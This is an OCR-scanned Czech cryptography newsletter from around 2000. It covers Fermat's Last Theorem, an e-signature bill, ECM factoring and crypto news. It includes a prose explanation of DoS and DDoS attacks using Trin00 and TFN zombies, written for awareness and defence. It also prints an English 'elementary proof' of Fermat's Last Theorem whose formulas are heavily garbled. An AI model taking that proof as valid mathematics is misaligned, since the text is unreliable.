ceskych zemi se ovSem vZzil nazev Velka Fermatova véta , snad pro svoji obtiznost nebo jako
protiklad nadzvu jiného jeho tvrzeni Malé Fermatovy véty. Ubihala 1éta a staleti a tato véta
nebyla dokdzana ani vyvracena. Kdyz ve dvacatych letech tohoto stoleti bylo dokézéano, Ze v
kazdém uzavieném, bezesporném systému axiomi existuje nedokazatelné tvrzeni, nékteti
matematici zajasali : ano takovym tvrzenim je v systému axioml na$i matematiky Velka
Fermatova véta. Proto nam jeji ditkaz ¢i vyvraceni stale unikalo... Véta zde vSak stale byla a
jeji néma vyzva a poznamka Fermata o elegantnim dikazu doslova drazdila celé dalsi
generace matematikd.

V roce 1955 byl formulovan problém , ktery zjednodusSené tikd, Ze kazda elipticka
ktivka je ve skuteCnosti vyjadfitelnd jako modularni forma (hypotéza Taniyamova-
Shimurova, TS-hypotéza). V roce 1985 si Gerhard Frey uvédomil souvislost mezi eliptickymi
ktivkami a né¢kterymi dusledky Velké Fermatovy véty. Dokonce je brzy dokdzano tvrzeni,
které zjednoduSen¢ tika, ze pokud existuje feSeni Fermatovy rovnice, pak lze s jeho pomoci
vytvorit eliptickou kiivku, kterd neni modularni a byla by tak poptena platnost TS- hypotézy.
K diikazu Fermatovy véty tak jiZ sta¢i malo - diikaz TS-hypotézy.

Andrew Wiles se o FLT jiz od mladi zivé zajimal. Koncem osmdesatych let si
uvédomil, Ze snad je nalezen kli¢ k jejimu dikazu a zacal hore¢né pracovat, aby splnil svij
celozivotni sen - najit diikaz Velké Fermatovy véty. V roce 1993 se mu daii dokazat hypotézu
Taniyamovu-Shimurovu o modularnich formach eliptickych kiivek. Kruh se uzavtel. ProtoZe
plati TS-hypotéza, nemiZe existovat feSeni x" + y" = 7", kde n > 2, nebot’ pak by se nasla
elipticka kiivka, kterd by pies platnost TS-hypotézy neméla modularni formu.

Pokud Fermat diikaz svého tvrzeni znal, pak komplikovany a velice moderni Wilestv
dikaz to urcit¢ nebyl. Fermativ ditkaz mohl byt zaloZen jen na algebraickych uvahach.
Profesor Victor Sorokin se vydal touto cestou a opravdu - zac¢atkem tohoto roku (4.1.2000)
rozesila svym zndmym prvé sdéleni o tom, Ze se mu podafilo najit "jednoduchy" dikaz FLT.
Béhem tydne dikaz dokoncuje, ptepisuje jej do anglictiny (omlouva se za chyby v textu) a jiz
11.1.2000 jej rozesila k posouzeni. Dékuji touto cestou Dr.Ladislavu Andrejovi, CSc. (€len
GCUCMP), ktery diikaz poskytl k otisténi. Profesor Sorokin ptedklada i touto cestou svij
dikaz k vetrejné diskusi.
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D. Fermat Last Theorem
Prof. Victor Sorokine (VSorokine@Bigfoot.com)

The equation a" + b"=¢", ora" +b" - ¢"=0, (1°)
where n is prime and n > 2, has no whole number solution (except a=b =c =0).
All the proofs are done in a scale of notation with a prime base n.
Symbols used: ay — digit of the k-th rank in the number a; a) — ending of k+1 digits of the
number a.

3-rd prime proof (about which P.Fermat had wrote)

Let's the equation (1°) has a solution {a, b, ¢} and a" +b" —¢" =0, (2°)
where, it is evident, a + b — ¢ (or b — ¢ — for the case ap = 0) = d = 0 [it is easy to show that d

> .. (3°)
Let's write down the number d in the form: d=a+b—-c =

=(ap+bo—co) + (a; + by —c))n' + (a2 + by —co)n® + ... + (ag + by — con® + .. (4°)
Let's write down the equation (2°) in the form: (ag)+ n*"'a")" + (b + n*"'b")" — (¢ + n*'¢')" =

0, or (5°)
(39" + by — c") + " *(@'ay" ' + b~ e’ ) +n* P =0, (6°)
where n* 7P is the sum of the items with the factor n*"P, (a" + b — (5" )s+2) = 0 (6a°)
and, if ag, by, and ¢y = 0, (a¢) Do = (b~ Do = (b "o = 1 (the Little Fermat Theorem or its
corollary). (6b°)
Putting a' = agy; +a", b' =bg; +b", ¢' =cs +¢" in (6°), we have:

(39" + by = c") + 0" (asae '+ byeib" T — e’ ) +07°Q =0, (7°)
or (taking 6b°) (ae)" + b — co)") + 1" (agr1 + ber1 — cer1) + n°7Q* =0, (8°)
whence (taking 6a°) ag)"si3 T b(s) s13 — C(s) 543 = — n*3(ag1 + b1 — Cor1), where s =0, 1,2, ... (9°)
But it mean that each cipher (a" + b" — ¢")s;3 coincides with —dg; (fors=0, 1, 2, ...) and (a" +
b" — ¢")1) = 0. Therefore, a” + b" — ¢" = —n’(a + b — ¢ —ag— by + co) = 0 (cf. 2°). (10°)

[If before the operation 5° to transform by into by = 1 (to multiply the equation 2° by such a
number go", that (bego)o = 1), then ag + by — ¢o = 0.]

If, for example, ay = 0, then in (8°) taking (7° and 6a°) (a¢)" + bs)" — ¢(s)) + 0¥ 2(bgy1 — Cor1) +
nS+3Q* — 0

and (10°) has the form: a" + b" — ¢" = —n’*(b — ¢) = 0 (cf. 2°). (10a°)
The truth of FLT is evident if to take in account that all other cases (except those cases which
can be reduced to proven case n = 4) can be reduced to the present case.

(verze ditkazu predlozena 11.1.2000 k verejné diskusi)
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E. Zakon o elektronickém podpisu otevira cestu do Evropy ?
(RNDr. Jifi Soucek, DrSc., RNDr. Jaroslav Hruby, CSc., Mgr. Antonin Benes, Mgr.
Pavel Vondruska)

Zakon o elektronickém podpisu (poslanecky navrh) postoupil do dalSiho cteni (resp. "je
prikdzan do vyboru"). Vzhledem k tomu, Ze obsahuje nékteré nejasné pojmy (viz ¢lanek
Dr.Soucka nebo obsihla polemika na www.spis.cz ), ale pfedev§Sim proto, ze neni
kompatibilni s direktivou EU schvéalenou v Bruselu 13.12.1999, rozhodli se autofi sepsat
nckteré své pfipominky a ty oficidlné zvetejnit a predat k pfipadnému zapracovani. Zde je
otiSténa prva verze tohoto dokumentu. Vase ptipominky, jako ¢leni GCUCMP a odborné
vetejnosti sdruzené kolem GCUCMP, miiZete zaslat na adresu: soucekj@karlin.mff.cuni.cz
nebo na hruby@gcucmp.cz .

Spole¢né tak miizeme dosahnout opravy piedloZzeného navrhu o elektronickém podpisu tak,
aby vyhov¢l pfisnym kritériim direktivy EU.

Na adrese http://www.mujweb.cz/veda/gcucmp bude v nejblizSich dnech ulozena
"kucharka", ktera popisuje proces elektronického podpisu, postaveni a vyznam certifikacnich
autorit, aktualni stav poskytovani sluzeb v této oblasti v Ceské republice. Jedna se o zakladni
informace, které¢ autofi sepsali za jinym ucelem, ale ukdzalo se, Ze pro vysvétleni
nejzakladngj$i problematiky kolem elektronickych podpist co nejjednodussim jazykem je
dobfe pouzitelna, a proto pokud chcete §ifit osvétu v tomto sméru, doporucujeme ji vyuzit.

ook ook skosk sk kook

Se vstupem do 21.stoleti je vice nez kdy jasné, Ze prosperujici spolecnost musi
zvladnout nejmodernéjsi technologie, zapojit se do elektronického obchodu, =zajistit
bezpecnou a divérnou komunikaci mezi jednotlivymi ob¢any, zajistit ochranu osobnich dat,
zajistit vyfizovani pozadavkili obCanli na statni spravu, zavést elektronické penize a v
neposledni fad¢ zajistit uznani elektronického podpisu, jako jednoho se zakladnich kament
elektronické spole¢nosti. Lidé ve spoleCnosti, ktera nezajisti tyto zcela zasadni wlohy,
nemohou pocitat s tim, zZe se zafadi mezi moderni, prosperujici narody. Pii vytvafeni prostredi
legislativniho, ekonomického, védeckého je potreba respektovat dany stav v Evropské Unii. V
ptipadé zakladnich zakonl a pravnich norem pak jsme (v pfipadé, Ze to minime s naSim
vstupem do EU vazné&) pfimo povinni slad’ovat nase zakony se zadkony platnymi v EU.

U nové piijimanych zdkont je tedy jedinou spravnou cestou tyto zékony jiz pfijimat
ve tvaru, ktery je slucitelny se zdkony v EU. V soucasné dobé je predloZen k pfipominkdm
zakon o elektronickém podpisu. Zakon o elektronickém podpisu je naprosto nezbytnym
zékladem k budovani moderni spole¢nosti, v pravém slova smyslu ndm muze otevtit dvete do
velkého obchodu 21-stoleti. Po prostudovani jeho navrhu vSak nabyvame dojem, Ze je nutné
akceptovat fadu ptipominek slad’ujicich na$ zakon se zakonem o elektronickém podpisu
platnym v EU, aby nam jeho pfijeti dvefe do EU naopak pevné nezamkl a to klicem
opravdovym a ne jen digitalnim.

V direktivé EU schvalené v Bruselu 13.12.1999 se piimo iika : "Clenské staty
Evropské Unie uvedou v platnost nezbytna legislativni, obecné zdvazna a spravni opatieni,
aby dosahly souladu s touto direktivou pred 19.7.2001. Komise Evropské Unie provede
pfezkoumani ohledné zavedeni této direktivy a podd zpravu Evropskému parlamentu a Radé
do 19.7.2003." Mnoho ¢asu tedy nezbyva. Urychlené piijeti jakéhokoliv zakona, ktery by tuto
direktivu nerespektoval by mohlo nasi cestu jen zkomplikovat.

Pokusme se jen v n¢kolika bodech, ktera ndm déava prostor tohoto jednoho kratkého
¢lanku ukazat na nékteré sporné okamziky v navrhu poslaneckého zdkona o elektronickém
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podpisu. Dovolujeme si predeslat, Ze tim nijak nechceme snizovat praci , ktera jiz byla na
ptipravé zdkona o elektronickém podpisu udélana a kterd je zasluznym pocinem.

Pro dal§i vyklad a moznost srovnavani si zavedeme oznaCeni DEU (Direktiva
Evropské Unie) a PEP (poslanecky navrh zdkona o elektronickém podpisu).

V materialech jako sporné se nam jevi naptiklad nasledujici:

PEP: Udélovani povoleni k puasobeni jako ovétovatel informaci, jakoZ i1 dohled nad
dodrzovanim tohoto zédkona nalezi Utadu.

DEU: Clenské staty nepodmifiuji poskytovani certifikaénich sluzeb zadnému predchozimu
opravnénti.

DEU totiZ mimo jiné chape, Ze mohou vznikat v jejich terminologii uzaviené skupiny,
které pro své vlastni potieby chtéji vyuzivat elektronicky podpis (napf. v rdmci malé, ale
dynamické spolecnosti). Elektronicky podpis dokumentii mezi cleny takovéto uzaviené
skupiny DEU ma byt ve smyslu zédkona také chapan jako podpis a v soudnich ptipadech
nesmi byt odmitnut jako soudni dikaz . Je samoziejmé& nelogické, aby na takovouto
uzavienou skupinu, kterd si pro své ucely vybuduje malou vlastni certifika¢ni autoritu byly
kladeny pozadavky stanovené v PEP . Tedy, aby Zadal o povoleni Utadu, povolil vstup
kontroloriim ke v§em svym prostiedkiim a udajim, vystavoval se pokuté 10 miliont (pfipadné
20 milioni) apod. Je nutné piipomenout, Ze ve svété tspéSné funguje 1 celd fada certifikacnich
autorit, kde se lze zaregistrovat zadarmo, ¢tendf mize ozkouset napt. adresu www.pgp.cz .
Zde certifikat piifadi jednoznacné postovni adresu k vefejnému kli¢i. Existence takovychto
CA dle PEP nebude pravdépodobné moznd, pokud ovSem provozovatel nezazada ve smyslu
zékona utad o "licenci" a splni vSe, co je s tim spojeno.

Liberalni pfistup DEU se proti PEP promitd do dalSich souvisejicich doporuceni a
umoziuji skutecné vytvofit trzni prostfedi i v oblasti CA (v terminologii PEP ovérovatela
informaci). Vysoké milionové pokuty navrhované v PEP téZko povzbudi vznik CA na naSem
uzemi a zabranuji tak trznimu prostiedi. Sluzby CA potom budou neumérné drahé a to i v
oblastech, kde DEU ptedpoklada levné sluzby (styk statu s obcany). Konecné¢ drahé
poskytovani sluzeb vyplyvajici z velice tvrdych pravidel a sankci v této oblasti neni ani v
z4jmu "ovéfovatelll informaci”, obcCan totiz pouzije pravdépodobné levnéjsi nabidku
zahrani¢nich CA . Namitky typu, Ze jde o bezpecnost obCana - nesmi byt podveden, jsou
velice diskutabilni. Je potfeba si uvédomit, ze ve hie je vice subjektli - ne jenom obcan, ktery
si chce zaregistrovat svilj podpis, a "ovéfovatel informaci". Je zde predevsim dale subjekt se
kterym obc¢an chce komunikovat (banka, obchod, statni utad, ptitel).

Kazdy z téchto subjekti vyzaduje (jiz z podstaty véci) jiny stupen zabezpecCeni verejného
klice a podle svych pozadavkl na bezpecnost bude to on, kdo si zvoli n€kterého "ovétrovatele
informaci" , ktery bude mit jeho divéru. Téchto ovétovatelli mize na zékladé vzajemného
uznavani certifikati byt vice. Podstatné, je Ze "ovétovatel informaci" musi zvetejnit svoji
bezpecnostni politiku a bojovat o stupent ditvéry na potencidlnim trhu. Jeden subjekt si tedy
bude vybirat pfedevsim podle rozsahu nabizenych sluzeb a ceny (zjednodusené feceno ten,
kdo si chce zaregistrovat svij vetfejny klic) a druhy subjekt si bude volit toho "ovétovatele
informaci", ktery spliiuje jeho pozadavky na zabezpe€eni uloZenych dat a samoziejmé podle
dalSich kritérii - obecné nazvanych duvéra.

Neni nam znamo pro¢ PEP na rozdil od DEU neumoziuje registraci kli¢e pravnické
osoby (v praxi je toto obvyklé viz napt. fad Ceského provozovatele certifikacnich sluzeb 1.CA,
www.ICA.CZ ). I zde bude potieba zékon sladit s touto zdvaznou direktivou.

Samotna definice zaruc¢ené¢ho elektronického podpisu je v ndvrhu PEP rozporna. V patém
paragrafu se fikd, Ze k tomu, aby elektronicky podpis byl zaru¢enym elektronickym podpisem
urci Ministerstvo vyhlaskou podminky k tomu nezbytné. V Sestém pak, ze .. strany se mohou
dohodnout, ze elektronicky podpis budou ve vzijemnych vztazich povazovat za zaruceny
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elektronicky podpis. Z odborného hlediska (viz DEU) by zaru¢eny podpis mél spliiovat jisté
bezpecnostni pozadavky a nemél by zdvist na prosté viili osob.

Pokud jde ptredkladatelim o to, aby mohl slouzit elektronicky podpis jako soudni
dikaz, pak by bylo moZna lep$i pouzit poZzadavek DEU (viz dals§i odstavec). Jiny dalsi
vyznam z faktického hlediska, pro¢ by se mély strany dohodnout, ze elektronicky podpis
budou ve vzidjemnych vztazich povazovat za zaruceny elektronicky podpis, totiz neni patrny.
V DEU je tato situace feSena takto:

Clenské staty se postaraji o to, aby pravni Gi¢inek a piipustnost jakozto soudni diikaz nebyly u

elektronického podpisu odmitany jen proto, Ze

- podpis je v elektronické podobé nebo

- ze k nému neni zaruCeny certifikat, nebo

- ze k nému neni zaruCeny certifikat, vydany licencovanym poskytovatelem certifikacni
sluzby, nebo

- Ze neni vytvofen zabezpefenym zafizenim pro tvorbu podpisu

Tento pfistup je totiz kli€ovy. Z né&j pfimo plyne, ze elektronicky podpis je pied
soudem roven obycejnému podpisu, pfipousti se existence jinych podpisli nez se zaru¢enym
certifikdtem (PEP spliiuje), pfipousti na trhu existenci nelicencovanych certifikacnich autorit,
DEU pfipousti pouziti vSech moZnych , tfeba 1 neatestovanych a neschvalenych
zabezpecenych zafizeni pro tvorbu podpisu.

PEP na rozdil od DEU pfipousti pouze ty "ovetovatele informaci”, které jsou k tomu
opravnény Utadem. DEU pouze pozaduje, aby &lenské staty EU se postaraly o adekvatni
systém umoznujici kontrolu (nikoliv vydavani povoleni) poskytovatelt certifikacnich sluzeb,
pusobicich na jeho tizemi a vydavajicich oficidlni certifikaty vefejnosti.

Zaroven s navrhem PEP je nutné (podobné jako v DEU) formou pftiloh specifikovat
pozadavky na zabezpecend zatizeni pro tvorbu elektronického podpisu, pfi¢emz tato zafizeni
musi pomoci odpovidajicich technickych prosttedkii a postupli pfinejmensim zarucovat pro
data pouzitd k tvorb¢ elektronického podpisu neopakovatelnost, pfiméfenost jejich utajeni a
dostateCnou jistotu, zZe je nelze odvodit jinym zpusobem, jejich ochranu proti padélani a
zneuziti n€kym jinym nez legitimnim vystavcem a zafizeni nesmi tato data ménit urcena k
podpisu a musi umoznit vystavci jejich kontrolu pied podepisovanim.

Tato pfipominka je pro realizaci zavedeni elektronického podpisu do praxe klicova.
Soucasn¢ s pfipravou zakona je nutné dat do soub¢hu i prace normotvorné v této oblasti a
pfipravit alesponi hrubd znéni souvisejicich vyhlaSek. Zde doporucujeme vychdzet z
provéienych norem napt. NIST (National Institute of Standards and Technology) v USA.

Ke zde pouzité terminologii poznamendvame, Ze je nejednotnd, protoZe pouzivame
znéni PEP , DEU a nékdy zvyklostni terminologii zavedenou v ¢eské odborné literatuie.
Upozoriiujeme timto na potfebu unifikovani terminologie i v této oblasti.

Zavérem lze shrnout , Ze

1) PEP je nutné v kazdém piipad€ poopravit takovym zplisobem, aby vyhovél pozadavkim
EU, tak jak je obsaZzeno v DEU ;

2) neliberalni ptistup pouzity v PEP oproti liberdlnimu ptistupu DEU je nespravny, protoze
jednak vykazuje ziejmé rysy lobbismu velkych firem a jednak by nasi digitalni
ekonomiku siln€ diskriminoval v liberalnéjsim prostiedi EU ;

3) sladéni parametri naseho ekonomického prostiedi, technologie, zdkont a norem s EU je
prioritnim cilem vladniho i1 opozi¢niho politického programu a k tomu je tfeba mit zdkon
o elektronickém podpisu takovy, ktery je maximaln¢ shodny se zakonem EU. Opaény
postup by torpédoval nase tusili o vstup do EU.
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F.

1.

Letem '"Sifrovym svétem"

Soubor (champs.txt) obsahuje zprdvu o velkych faktoriza¢nich Cinitelich nalezenych
pomoci metody faktorizace zalozené na eliptickych kiivkach (elliptic curve factoring -
ECM). Metoda se pouziva (a je vhodna a uspé$na) k odstépeni "malého" faktoru z velkého
¢isla. Soubor 1ze ziskat na adrese :
ftp://ftp.comlab.ox.ac.uk/pub/Documents/techpapers/Richard.Brent/champs.txt
Soucasnym "§

Sampidénem" je Cinitel
484061254276878368125726870789180231995964870094916937

(délitel ¢isla : (6743-1)"42+1) ). Tento faktor byl ziskan koncem minulého roku
(26.12.1999) pomoci metody GMP-ECM a ziskali jej Nik Lygeros spole¢né s Michaelem
Mizonym . Doporucuji stahnout.

Na adrese http://www.gchq.gov.uk/careers/ naleznete informace o volnych mistech v
anglické GCHQ (ekvivalent znam¢jsi americké NSA). GCHQ chce obsadit celkem 100
svych volnych mist. Hledaji se pfedev§im odbornici na komunikace, pocitace, jazykovi
odbornici a matematici. Matematikiim se nabizi prace na : " analysis of complex signals,
code-breaking techniques and code construction " (prosté lusténi cizich zprav). Staci
vyplnit ptihlasku , dozvite se , ze pfednost maji mladi zajemci s PhD, znalostmi jazykl ze
specifikovanych oblasti (napf. vychodni Evropa) a zajemci, ktefi dokazi vylustit text
uloZeny na webovské strance organizace (zajemce z CR zklamu - poZaduje se narodnost
anglickd). O zkuSebnim textu se na jiném misté dozvite pouze to, Ze jej musite vylustit do
25.2.2000, ze je rozdélen do 5-ti casti, kazda cast obsahuje 5 znaki, kazda c¢ast je
zamaskovana nebo pifimo ukryta v jiné Casti www stranky. Ziskané ¢asti je potfeba
poskladat ve spravném poradi a tuto zpravu prtilozit k zadosti o misto. Prozatim zaslalo
spravné feSeni 14 zadatelq.

Kdo se blize zajima o aktivity hackeri, mé¢l by se podivat na stranku www.2600.com ,
stranka mimo jiné obsahuje archiv prinika hackerd, ktefi se kolem €asopisu 2600 a této
stranky sdruzuji. V archivu je link na www stranku, kde byl prinik proveden a dale je v
archivu ulozena uvodni stranka po zméné, kterou hacketi na adrese provedli.
Za prosinec je zde takto zadokumentovano 48 pranika . Utok byl proveden na servery po
celém svétd (USA, Brazilie, Cina, Jizni Afrika). Nejvice ttokd se podatilo 4.12.99 (10) a
31.12.99 (7). Ze zajimavych adres stoji napt. za zminku:

31.12.1999 : Electronic Frontier Foundation : www.eff.org

22.12.1999 : State of California : www.cya.ca.gov

13.12.1999 : Chinese National Library : www.nlc.gov.cn

06.12.1999 : US Army : ri-acala4.ria.army.mil

05.12.1999 : South African Police : www.saps.co.za

V lednu aktivita ackeri ponékud poklesla, zdokumentovéno je jen 6 priniki . Utok byl
proveden piedevsim na servery u USA. Ze zajimavych adres stoji tentokrate za zminku:
18.01.2000 : Columbian Government : www.ifi.gov.co
17.01.2000 : Library of Congress : thomas.loc.gov
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4. Telefonovani pres Internet . Zatim stale malo pouzivanou komunika¢ni moznosti uzivatelt
Internetu je telefonovani pres Internet zdarma s ti€astniky, kteti jsou kdekoliv na svéte, ale
prihlaseni k témuz serveru. Tuto moznost jiz nabizi i1 Cesky internetovy portal
MSN.ATLAS.CZ na serveru http://ils.atlas.cz/ . Ugastnici hovoru jiz neplati zadny dalsi
telefonni tarif, ale jen poplatek za dobu ptipojeni k Internetu. Potiebny software je volné k
dispozici pfimo na uvedeném serveru. Pokud maji Gcastnici video pfipojené k pocitaci,
mohou kromé¢ zvuku vysilat i sviij obraz a uskute¢nit v redlném case videokonferenci.

5. Tronii osudu byla den pied propusténim Kevina Mitnicka na svobodu zasazena
hackerskému spolecenstvi dal§i rana. Byl vydan ptredbézny soudni ptikaz proti www
strance www.2600.com a jejim spravcim. Spravcim pak bylo pohrozeno okamzitym
uvéznénim. Jednd se o reakci na umisténi zdrojového kodu software DeCSS. Pomoci
tohoto software je mozné kopirovat obsah DVD na pevny disk. Celéd kauza neni ovSem tak
jednoducha - trestan by snad mél byt ten, kdo na ¢erno vypaluje DVD a ne ten, kdo se
rozebere v ochrané kopirovani a vytvoii funkéni program. Pfipomind mi to stary znamy
vtip : "Fero, zaplat’ 500 K¢ za to, ze palis slivovici." Fero : "Nepalim". Policista : To
nevadi, ale mas$ na to pfistroj! Fero vynd4d 1000 K¢ a da je policistovi se slovy : "Téch
druhych 500 je za znasilnéni". Policista udiven¢ : "Ty jsi n€koho znasilnil ?". Fero : "Ne,
ale mam na to ptistroj!"

6. Podobna pravné zamotana kauza se rozhotela i okolo strdnky www.MP3.com . Tato
stranka, kterd poskytuje ndkup hudebnich CD po internetu. Toto CD ovSem neobdrzite,
ale dostanete k obsahu tohoto CD pfistup a muzete si jej prehrat ze svého PC po pfipojeni
k internetu. Vyhoda : muzete si sva CD piehravat z libovolného mista zemékoule a
nemusite je vozit s sebou, nemusite je skladovat, neposkrabou se, neukradnou Vam je.
Jenze spolecnost MP3.com je zazalovana o deset milirad dolarti za porusovani autorskych
prav . Zaluje je RIAA (Asociace amerického hudebniho primyslu). Problém je v tom, Ze
RIAA tvrdi, Ze podle zakona muze kopie pro své potieby pouzit pouze spotiebitel a
nikoliv prodavajici. Spolecnost MP3.com se hdji tim, Ze spotiebitel si CD stejné zaplatil a
tedy neoblibena RIAA o své zisky nepfichdzi. Je mozné, Ze tato kauza povede i k upraveé
autorskych prav v elektronickém véku.
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A. Nehleda Vas FBI ?
Mgr. Pavel Vondruska, NBU

Zacatkem tUnora nastaly problémy s dostupnosti znamych a bohaté navstévovanych
serverli eBay, Amazon, Buy.com, CNN, ETrade a ZDNet. I tyto servery, tak jako jiz pted
nimi snad nejznaméj$i vyhleddvaci server Yahoo, byly napadeny pomoci zcela nového utoku
DDS (distributed denial-of-service).

Piiblizné Ctyii roky jiz je zndma jednodussi varianta vyse realizovaného utoku - DOS
utok (denial of service). PopiSeme si zjednodusené tento starsi typ utoku, ktery se da pouzit k
odfiznuti webového serveru. Zakladem je pouziti né¢jakého programu, ktery bude neustale
posilat zadosti na server nabizejici danou sluzbu. Po tvodnim pozadavku na spojeni ze sité se
server pokusi navazat kontakt s zddajicim pocitacem. Ten se mezitim odpoji a pozada o nové
spojeni. NeZ se spojeni zrealizuje, je propojeni jen “Caste¢né*. Pokud k propojeni nedojde do
predem definované doby, soket realizujici polooteviené spojeni se uzavie. Pocet otevienych
soketl s timto ¢asteCnym spojenim je na kazdém serveru omezeny. DOS utok zpravidla staci
timto postupem "ucpat" sokety a server je nepiistupny. Jistd obrana proti tomuto Utoku
existuje a je zaloZena na analyze IP adresy PC, ktery Zada o pfipojeni. Opét jen velice
zjednodusen¢ plati, ze polootevieny soket se pii ochrané proti DOS utoku pro stejnou IP
adresu jiZ neda otevfit, tim se zabrani obsazeni moznych "Caste¢nych" propojeni.

A tak "samoziejm¢" vznikla mySlenka distribuovaného DOS utoku - DDS 1tok
(distributed denial-of-service). Utoénik nejprve zauto&i na stovky a tisice nahodné vybranych,
neochranénych pocitac pfipojenych na Internet. Do téchto pocitacli nainstaluje specialné
pripraveny program (v podstaté program pro DOS utok). Takovyto pocita¢ se nazyva
"zombie". K tomuto Ucelu byly pouzity programy Trin0O and Tribal Flood Network (jejich
analyza viz nize uvedené adresy). Utoénikovi potom stacilo pouze zajistit koordinaci Gtoku a
to ¢asovou a mistni na jim vybrany server. Pfipomeiime, Ze Uto¢nik "nevnikl" na vybrany
server (jak se n¢kde v novinovych ¢lancich uvadélo), ale "pouze" znemoznil ostatnim ptistup
na adresu takto napadeného serveru. Servery byly v téchto piipadech nékolik hodin pro
7adatele nepiistupné. Zadné trvalé $kody nevznikly, ale uZivatelim se do¢asné znemoznilo
jejich pouziti a provozovatelim napadenych servert vznikly téZzko definovatelné skody, jako
napft. ztrata divéry nebo i zékaznikt, kteti mohli vyhledat jiny server, ktery jimi pozadovanou
sluzbu byl schopen ihned poskytnout.

Odbornici se shoduji, Ze proti takto vedenému utoku se v podstaté nedad branit. Béhem
unora probéhly dvé védecké konference na téma obrana proti DDS. Obé¢ konference se shodly
na tom, Ze Uplnd obrana neni mozna, a byly navrzeny jen urcité patche, které mohou
nebezpeci utoku zmirnit. Nejucinnéj§i obranou tak pravdépodobné bude tvrdy postih
uto¢nikd. Mimo FBI, které po to¢nicich jiz intenzivné patra, se piipojilo i Némecko, které
urychlené vytvoftilo specialni oddil internetové policie s celospolkovou pusobnosti. Zakony
umozni kvalifikovat takovyto utok jako sabotdz s odpovidajicim postihem.

Mimochodem, nepodilel se také Vas pocita¢ na nekterém z utokii na vysSe uvedené
servery? Pokud chcete mit jistotu, ze nevlastnite "zombie" , nainstalujte si kontrolni program,
ktery Vas pocita€ proveti a zjisti, zda Tribal Flood Network nebo Trin00 neni nainstalovan na
Vasem pocitaci. Prislusny program je dostupny napt. na adrese :
http://www.nfr.net/updates .
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Dalsi informace k tomuto tématu najdete napt. na adresach :
Discussion of DDS attacks: http://staff.washington.edu/dittrich/talks/cert

CERT Advisory: http://www.cert.org/incident_notes/IN-99-07.html

Popis DOS utoku:
http://www.hackernews.com/bufferoverflow/00/dosattack/dosattack.html

Trin00 Analysis: http://staff.washington.edu/dittrich/misc/trinoo.analysis

Tribal Flood Network Analysis: http://staff.washington.edu/dittrich/misc/tfn.analysis

Stacheldraht Analysis: http://staff.washington.edu/dittrich/misc/stacheldraht.analysis

Clanek o DDS: http://www.wired.com/news/politics/0,1283.34294.00.html

B. Aktuality z problematiky eliptickych kiivek v kryptografii
Ing. Jaroslav Pinkava, CSc., AEC Brno

1. Faktorizacni metody opirajici se o vyuZiti aparatu eliptickych kiivek

Jednou z klasickych faktoriza¢nich metod je Pollardova metoda (lit [1]). Pfredpokladejme,
7e chceme rozlozit slozené Cislo n, a Ze p je (zatim nezndmy) faktor n. Pollardova metoda je
vyuzitelna, pokud p je takové Cislo, ze p-1 nema velké prvociselné délitele, tj. metoda
nepracuje pokud vSechny prvociselné faktory p €isla n jsou takové, Zze p-1 obsahuji velké
prvocisla.

Zikladni mySlenkou Lenstrovy metody pracujici eliptickymi kfivkami nad télesem F, =
Z/pZ, je vyuzitelnost podstatné vétsiho souboru grup a hledani mezi nimi takové, jejiz rad
neni délitelny velkym prvocislem nebo mocninou prvocisla.

Je déno slozené liché ¢islo n a chceme nalézt jeho faktor p, 1 < p < n. Nejprve vezmeme
né&jakou eliptickou kiivku E : y*= x>+ ax + b s celodiselnymi koeficienty spolu s bodem P =
(x,y) na této kiivce. Dvojice (E,P) je obvykle generovana nahodné. Jestlize mame dvojici
(E,P), zvolime ¢islo k, které je délitelné mocninami malych prvocisel a mensi nez n¢jaké mez
C. Déle se pokousime spocitat kP, ptfitom celou dobu pocitdime modulo n. Pokud pii vypoctu
inverzni hodnoty x,-x; €1 inverse 2y; spocteme ¢islo, které neni vzajemnym prvocislem s n,
pak mame néjaky nasobek kP (CastecCny soucet spocteny béhem naseho vypoctu kP), ktery
pro n¢jaké q < n v grupé E mod q ma tad délici k;. Eukleidovym algoritmu (pocitame inversi
modulo n jmenovatele, ktery je dé€litelny q), najdeme nejvétsi spolecny délitel n a tohoto
jmenovatele. Tento NSD je vlastnim faktorem n, nebo je n samotnym, nebo je jmenovatel
délitelny n. Pokud se ndm nas pokus nepodaii vezmeme jinou dvojici (E,P) a tak pokracujeme
do t¢ doby nez najdeme faktor p <n.

Lenstrova metoda ma nékolik vyhod :

(1) Je to jedind metoda, ktera je podstatné rychlejsi neZ jiné metody, pokud n je délitelné
prvocislem mnohem mensim nez je n.

(2) Z tohoto dliivodu ji Ize pouZzivat i soucasné s jinymi faktorizaénimi metodami (v
situacich, kdy je pozadovana faktorizace dalSich ¢isel potfebnych k praci téchto jinych
algoritmil).

(3) Metoda nema velké pozadavky na pamét’.

Je tfeba fici, ze po objeveni se Lenstrova ¢lanku (lit. [3] ) byla v tuto metodu vkladana velka

vvvvvv

ukézal, ze pouzitelnost metody mé skutecné své logickd omezeni a je vhodna zejména pfi
hledani malych faktord.
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Metoda je vSak v praxi pouzivdna a na adrese:
ftp://ftp.comlab.ox.ac.uk/pub/Documents/techpapers/Richard.Brent/champs.txt

lze nalézt vysledky experimentli, které charakterizuji soucasné moznosti této metody.
Pouzitim algoritmu GMP-ECM autortt Nik Lygeros a Michael Mizony byl ziskan faktor
484061254276878368125726870789180231995964870094916937

(délitel ¢isla : (6°43-1)"42+1) ). Tento vysledek byl dosazen na konci koncem minulého roku
(26.12.1999).

Nejvétsi Cinitel takto nalezeny ma v soucasnosti tedy 54 dekadickych mist.

Literatura:

[1] Koblitz, Neil:

[2] P.L. Montgomery's, **Speeding up the Pollard and Elliptic Curve Methods of
Factorization," Mathematics of Computation 48 (1987), pp. 243-264.

[3] H. W. Lenstra, Jr., Factoring integers with elliptic curves, Annals of Mathematics (2) 126
(1987), 649-673.

II. ECC - charakterizace soucasnéeho stavu

Na adrese http://www.certicom.ca/ecc/wpaper.htm se objevil novy ¢lanek Don Johnson:
Advances in Cryptography — ECC, Future Resiliency, and High Security Systems. Zajemctim
o praktické aplikace eliptické kryptografie ho viele doporucuji.

Na adrese http://cacr.math.uwaterloo.ca/~ajmeneze/misc/cryptogram-article.html
uvefejnil Alfred Menezes urcité porovnani RSA a kryptosystémi na bazi eliptickych kiivek
(leden 2000).

I11. Elliptic Curve Crypto Conference, NatWest premises behind Bank of
England, 27 Jan 2000

Tato jednodenni konference méla za cil pomoci pfipravit ptislusnd rozhodnuti v bankovnictvi
a prumyslu.

